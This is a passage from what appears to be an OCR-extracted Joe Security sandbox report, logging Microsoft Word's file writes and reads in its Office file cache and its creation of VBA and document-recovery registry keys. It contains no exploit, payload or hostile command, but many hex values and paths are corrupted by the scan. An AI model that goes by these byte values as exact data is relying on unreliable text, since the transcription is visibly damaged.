00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd 0f 12 00
00 00 00 00 00 00 2b 04
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

40 fd fd 2f 33 fd 1c fd 45 fd fd
fd 2f 37 fd 78 Ob 00 00 00
00 00 00 00 4a fd 00 59
fd 75 fd 46 fd 7d 63 7e 1le
4c fd fd

134 ea 69 49 01 Oc 56 Oc fd fd
42 2d 2b be 4e fd fd 59 fd
fd fd fd 6a fd fd fd fd 30 fd
fd 11 40 fd fd fd fd fd 40
fd fd 03 00 00 00 00 00
00 00 Ob fd 00 fd 32 fd 3f
fd fd fd Of fd fd 47 fd fd fd
fd 53 4a 44 fd 01 00 00
11 03 39 03 00 75 fd 00
fd 60 03 Oc fd 2c¢ fd 70 fd
6b 55 42 fd 2e 7e 39 fd fd
fd 5e 00 39 01 00 00 00
00 00 00 00 10 00 00 00
fd 4e fd 38 fd fd fd 49 fd
5b fd 45 11 fd 62 fd 79 05

70 ea 69 49 01 Oc 56 1c fd fd
42 2d 2b be 4e fd fd 59 fd
fd fd fd 6a fd fd fd fd 30 fd
fd 11 40 fd fd fd fd fd 40
fd fd 04 00 00 00 00 00
00 00 07 58 22 Oc fd 72
00 46 7c fd fd 49 fd fd fd
fd 67 fd fd 44 05

199 3e 03 00 00 54 07 00 00
00 fd 54 49 Oc 17 fd fd fd
6c 45 19 48 fd fd fd 11 03
fd fd 79 03 Oc fd fd 42 2d
2b be 4e fd fd 59 fd fd fd
fd 6a 7a 03 00 00 fd 54
27 Oc fd fd 42 2d 2b be
4e fd fd 59 fd fd fd fd 6a
39 00 fd 03 00 00 fd 54
27 Oc fd fd fd 2d 29 fd 61
4c fd fd fd 66 fd 1e 20 79
00 6a 03 00 00 58 53 51
fd fd 84 fd fd 0d 4a fd fd
52 0c 77 fd 70 73 01 00
00 00 fd 61 59 1e fd 7d fd
4e fd 20 2d fd 38 fd fd fd
01 00 00 00 fd 54 27 1c
fd fd 42 2d 2b be 4e fd fd
59 fd fd fd fd 6a 29 00 72
03 00 00 58 2b 29 fd 72
00 46 7c fd fd 49 fd fd fd
fd 67 fd fd 44 01 00 00 00
fd fd 01

Ascii

MeFyzmJ7N[,SS,XFFaq/
3E/7xJYuF}
c~LP>PBxxxx+

13E/7xJYuF}c~L

iIVB-+NYj0@@2?
GSJID9U’,pkUB.~97
9NBI[Eby

iIVB-+NYj0@@X"rF|IgD

STTIEHYB-+NYjzT'B-
+NYjOT-)aLf
YiXSQJRwpsaY}N -8T'B-
+NYj)rX+)rF|lgD

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
2 7TFEEE917A59
2 TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
N\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile

Cache\FSD-{950185C1-D03B-43EE-

9B9C-DOCDFF898355}.FSD

Copyright Joe Security LLC 2022

Offset

2804

15952

1648

15992

76

Length Value

298 05 fd 00 fd 6d 07 11 fd fd
42 2d 2b be 4e fd fd 59 fd
fd fd fd 6a 01 00 00 00 01
02 00 09 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd
7e 07 09 fd fd 42 2d 2b
be 4e fd fd 59 fd fd fd fd
6a 03 00 00 00 01 02 00
0a 00 00 00 00 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 05 fd 00 fd fd 07 11
17 fd fd fd 6¢ 45 19 48 fd
fd fd 11 03 fd fd 01 00 00
00 01 06 00 Ob 00 00 00
00 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 05 fd
00 fd fd 07 19 fd 48 fd 3b
5b 1a Oa 4f fd fd fd 32 fd
4f fd 23 01 00 00 00 01
01 00 Oc 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 07 60 fd fd fd
fd fd 68 fd fd 36 4c fd fd
fd 5c fd 3f fd 2f 01 00 00
00 05 fd 00 fd fd 07 19 Ob
fd 4b fd fd 63 fd 4d fd 75
20 2b 2f 65 23 01 01 00
000001010010

40 10 00 00 00 03 00 00 00
11 00 00 00 06 00 00 00
12 00 00 00 04 00 00 00
13 00 00 00 02 00 00 00
01 00 00 00 cb fd fd

32 11 00 00 00 0d 00 00 00
12 00 00 00 06 00 00 00
13 00 00 00 04 00 00 00
01 00 00 00 26 1f fd fd

32 11 00 00 00 0d 00 00 00
12 00 00 00 06 00 00 00
13 00 00 00 04 00 00 00
01 00 00 00 fd 43 31 fd

512 Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a fd 6d 68
fd fd 4a fd 37 4e 5b 2c 53
fd fd 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 2f 33 fd 1c fd
45 fd fd fd 2f 37 fd 78 Ob
00 00 00 00 00 00 00 4a
fd 00 59 fd 75 fd 46 fd 7d
63 7e le 4c fd fd 50 3e
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
50 42 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd 0Of fd 78 fd Of 12 00
00 00 00 00 00 00 2b 04
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

40 fd 6b 17 fd 14 1f 26 40 fd
fd 79 fd fd 86 3e 0f 00 00
00 00 00 00 00 fd 5e 71
fd d0 4a fd 7e fd fd 03 fd
37 4d

Ascii

mB-+NYj~B-+NYjIEHH;
[020# h6L\?/KcMu +/e#

C1

MeFyzmJ7N[,SS,XFFag/
3E/7xJYuF}
Cc~LP>PBxxxx+

k&@y>"I~7M

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

3 TFEEE917A59
1 TFEEE917A59
1 7TFEEE917A59
1 TFEEE917A59
1 TFEEE917A59
1 7FEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

Copyright Joe Security LLC 2022

Offset

19456

19704

3674

21248

16672

21288

Length Value Ascii

130

70

372

40

32

32

ea 6949 01 0c 56 0c Oc  ilV$bO-

34 fd 24 fd 62 4f fd fd fd fd hF|dP,*SEF]vOu’A"Dv+95

fd fd fd cO fd 09 2d 15 fd
68 fd 46 fd 7c 64 fd fd 50
1c 2¢ 03 00 00 00 00 00
00 00 Ob fd 00 fd 2a Oc fd
53 45 fd 05 fd 46 fd fd 5d
fd fd 76 fd fd 03 39 03 00
75 fd 00 fd 60 03 Oc 41
1d fd fd 22 fd 44 fd fd 76
fd 16 2b 42 00 39 01 00
00 00 00 00 00 00 10 00
00 00 fd 00 35 fd fd 4f fd
4b fd 4f fd fd fd fd 71 79
05

OKOqy

ea 69 49 01 0c 56 24 Oc  iIV$$bO-

34 fd 24 fd 62 4f fd fd fd fd hF|dP,X"wW%e@"
fd fd fd cO fd 09 2d 15 fd

68 fd 46 fd 7c 64 fd fd 50

1c 2¢c 06 00 00 00 00 00

0000 07 58 22 Oc fd 77

57 fd 25 65 0d 40 fd Ob

27 fd 03 1c fd fd 05

05 fd 00 fd fd 09 11 Oc 34 $bO $bO!$b0O"?

fd 24 fd 62 4f fd fd fd fd fd k$H@b#WIzgM6$®

fd fd fd 01 00 00 00 01 06
00 20 00 00 00 00 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 05 fd 00 fd fd 09
Oe Oc 34 fd 24 fd 62 4f fd
fd fd fd fd fd fd fd 02 00
00 00 01 01 00 21 00 00
00 00 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 05
fd 00 fd fd 09 09 Oc 34 fd
24 fd 62 4f fd fd fd fd fd fd
fd fd 04 00 00 00 01 02
00 22 00 00 00 00 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 05 fd 00 fd fd 09
10 fd fd 3f e9 6b 24 48 fd
01 fd fd 40 62 fd fd 01 00
00 00 01 03 00 23 00 00
00 00 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 05
fd 00 fd fd 09 57 6¢ 7a fd
67 fd fd 09 4d fd 36 1f fd
0d fd Oc 03 01 00 00 00
01 06 00 24 00 00 00 00
00 00 00 fd fd fd fd fd fd
fd fd 00 00 00 00 07 60 fd
fd 04

10 00 00 00 03 00 00 00
11 00 00 00 1a 00 00 00
12 00 00 00 08 00 00 00
13 00 00 00 06 00 00 00
01 00 00 00 fd 56 fd

1100000023000000 #
12 00 00 00 0a 00 00 00

13 00 00 00 08 00 00 00

01 00 00 00 e4 21 60

1100000023000000 #
12 00 00 00 0a 00 00 00

13 00 00 00 08 00 00 00

01 00 00 00 15 fd fd fd

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

2 TFEEE917A59
4 7TFEEE917A59
3 7TFEEE917A59
1 7TFEEE917A59
1 TFEEE917A59
1 TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset Length Value Ascii Completion
C:\Users\user\AppData\Local\Mi 0 512 Oc fd 91 fd 1b fd 4d fd 65 MeFyz]qL1)S,XFFagk&@ success or wait
crosoft\Office\14.0\OfficeFile 46 79 fd fd fd 7afd 5d fd = y>"JI~7MSWxxxx*
Cache\FSD-{950185C1-D03B-43EE- fd 71 fd fd 4c fd fd fd fd Oc
9B9C-DOCDFF898355}.FSD 31 29 fd 53 2c fd fd fd 58

fd 46 fd fd 14 46 61 f5 71

05 00 00 00 05 00 00 00

05 00 00 00 05 00 00 00

fd fd fd fd fd fd fd fd 00 00

00 00 fd 6b 17 fd 14 1f 26

40 fd fd 79 fd fd 86 3e Of

00 00 00 00 00 00 00 fd

5e 71 fd d0 4a fd 7e fd fd

03 fd 37 4d 00 53 00 00

00 00 00 00 00 04 00 00

02 00 00 00 fd fd fd fd fd

fd fd fd 00 00 00 00 00 00

00 00 00 00 00 00 00 57

00 00 00 00 00 00 00 02

00 00 00 00 00 00 00 04

00 00 00 00 02 00 00 00

00 00 04 00 00 00 fd 78

fd Of fd 78 fd Of fd 78 fd Of

fd 78 fd Of 2a 00 00 00 00

00 00 00 fd 14 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00
File Read
File Path Offset Length Completion
C:\Users\user\AppData\Local\Temp\{ACD4BEAE-F768-48FA-AC51-62 76 40 end of file
7BB9420B93}
C:\Users\user\AppData\Local\Temp\{ACD4BEAE-F768-48FA-AC51-62 76 40 success or wait
7BB9420B93}
C:\Users\user\AppData\Local\Temp\{ACD4BEAE-F768-48FA-AC51-62 76 40 success or wait
7BB9420B93}
C:\Users\user\AppData\Local\Temp\{ACD4BEAE-F768-48FA-AC51-62 76 40 success or wait
7BB9420B93}
C:\Users\user\AppData\Local\Temp\{ACD4BEAE-F768-48FA-AC51-62 76 40 success or wait
7BB9420B93}
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait
CNRY.FSD
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 0 512 success or wait
CNRY.FSD
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait
CNRY.FSD
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait
CNRY.FSD
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 76 40 end of file
CTBL.FSF
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 76 40 end of file
CTBL.FSF
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 76 40 end of file
CTBL.FSF
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 0 19 success or wait
CTBL.FSF
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 16 1 success or wait
CTBL.FSF
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 76 40 end of file
CTBL.FSF
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 0 19 success or wait
CTBL.FSF
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 end of file
{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait
{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait
{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait
{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD
C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait

{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD

Copyright Joe Security LLC 2022

Count Source Address

1 TFEEE917A59

Count Source Address

1 TFEEE917AFD
1 TFEEE917AFD
1 TFEEE917AFD
1 TFEEE917AFD
1 TFEEE917AFD
1 TFEEE917AFD
1 TFEEE917AFD
1 TFEEE917AFD
1 TFEEE917AFD
1 TFEEE917AFD
1 TFEEE917AFD
1 TFEEE917AFD
1 7TFEEE917AFD
1 7TFEEE917AFD
1 7TFEEE917AFD
1 7TFEEE917AFD
1 7TFEEE917AFD
1 7TFEEE917AFD
1 7TFEEE917AFD
1 7TFEEE917AFD
i 7TFEEE917AFD

Symbol

WriteFile

Symbol

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
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File Path Offset Length Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 76 40 end of file 1 7FEEE917AFD ReadFile
CTBL.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF- 76 40 success or wait 1 7FEEE917AFD ReadFile
CTBL.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 0 512 success or wait 1 7FEEE917AFD ReadFile
{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 6656 51 success or wait 1 7FEEE917AFD ReadFile
{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Temp\{81AEC75A-0A9E-4A32-B5F6-54 76 40 end of file 1 7FEEE917AFD ReadFile
1A0FA08477}

C:\Users\user\AppData\Local\Temp\{81AEC75A-0A9E-4A32-B5F6-54 76 40 success or wait 1 7FEEE917AFD ReadFile
1A0FA08477}

C:\Users\user\AppData\Local\Temp\{81AEC75A-0A9E-4A32-B5F6-54 76 40 success or wait 1 7FEEE917AFD ReadFile
1A0FA08477}

C:\Users\user\AppData\Local\Temp\{81AEC75A-0A9E-4A32-B5F6-54 76 40 success or wait 1 7FEEE917AFD ReadFile
1A0FA08477}

C:\Users\user\AppData\Local\Temp\{81AEC75A-0A9E-4A32-B5F6-54 76 40 success or wait 1 7FEEE917AFD ReadFile
1A0FA08477}

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 0 512 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 end of file 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 end of file 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 end of file 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 0 19 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 16 1 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 end of file 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 0 19 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 end of file 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD
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File Path

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManager\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManager\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManager\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManager\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManager\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-
{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManager\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-
{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD

Registry Activities
Key Created
Key Path

HKEY_CURRENT_USER\Software\Microsoft\VBA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\702AF

Key Value Created
Key Path Name Type
HKEY_CURRENT_USER\Softwar = 702AF binary

e\Microsoft\Office\14.0\Word\Resili
ency\DocumentRecovery\702AF
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Offset Length Completion
76 40 end of file

76 40 success or wait
76 40 success or wait
76 40 success or wait
76 40 success or wait
76 40 success or wait
0 512 success or wait
0 512 success or wait
76 40 success or wait
76 40 success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Data

04 00 00 00 B4 05 00 00 2A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
A4 99 CO 84 D8 7A D8 01 AF 02 07 00
AF 02 07 00 00 00 00 00 DB 04 00 00
02 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

success or wait

success or wait

Completion

success or wait

Count Source Address

1

TFEEE917AFD

TFEEE917AFD

TFEEE917AFD

TFEEE917AFD

TFEEE917AFD

TFEEE917AFD

TFEEE917AFD

TFEEE917AFD

TFEEE917AFD

TFEEE917AFD

Count Source Address

1

Count Source Address

1

6DEDASE3

6DEDASE3

6DEDASE3

6DF00648
6DF00648
6DF00648
6DF00648

6DF00648

Symbol

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

Symbol

RegCreateKeyEx
A

RegCreateKeyEx
A

RegCreateKeyEx
A

unknown
unknown
unknown

unknown

Symbol

unknown
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Key Path

Key Value Modified
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Name

Type

%Qa{)é) 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00O
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
